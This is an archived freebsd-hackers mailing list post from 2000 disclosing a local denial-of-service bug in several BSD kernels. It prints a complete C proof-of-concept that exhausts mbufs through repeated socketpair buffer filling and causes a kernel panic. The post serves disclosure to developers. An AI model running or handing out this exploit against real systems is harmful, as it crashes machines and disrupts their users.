From owner-freebsd-hackers  Sat Jun  3 23:34:47 2000
Delivered-To: freebsd-hackers@freebsd.org
Received: from oleg.vsi.ru (oleg.vsi.ru [213.24.136.12])
	by hub.freebsd.org (Postfix) with ESMTP id 8CBCC37B68F
	for <freebsd-hackers@freebsd.org>; Sat,  3 Jun 2000 23:34:43 -0700 (PDT)
	(envelope-from oleg@oleg.vsi.ru)
Received: from localhost (oleg@localhost)
	by oleg.vsi.ru (8.9.3/8.9.3) with ESMTP id KAA00285
	for <freebsd-hackers@freebsd.org>; Sun, 4 Jun 2000 10:34:40 +0400 (MSD)
	(envelope-from oleg@oleg.vsi.ru)
Date: Sun, 4 Jun 2000 10:34:40 +0400 (MSD)
From: Oleg Derevenetz <oleg@oleg.vsi.ru>
To: freebsd-hackers@freebsd.org
Subject: DoS
Message-ID: <Pine.BSF.4.21.0006041030070.282-100000@oleg.vsi.ru>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-hackers@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Denial of Service and kernel panic (out of mbuf) appears when following
program executes (originally reported by Sven Berkenvs 
(sven@ILSE.NL)). Affects FreeBSD 3.x & 4.0, OpenBSD 2.5, OpenBSD 2.6,
NetBSD 1.4.1.

#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>

#define BUFFERSIZE	204800

int main () 
{
    int p[2], i;
    char crap[BUFFERSIZE];
    
    while (1) {
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) 
	    break;
	i = BUFFERSIZE;
	setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
	setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
	setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
	setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
	fcntl(p[0], F_SETFL, O_NONBLOCK);
	fcntl(p[1], F_SETFL, O_NONBLOCK);
	write(p[0], crap, BUFFERSIZE);
	write(p[1], crap, BUFFERSIZE);
    }
    
    exit(0);
}



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-hackers" in the body of the message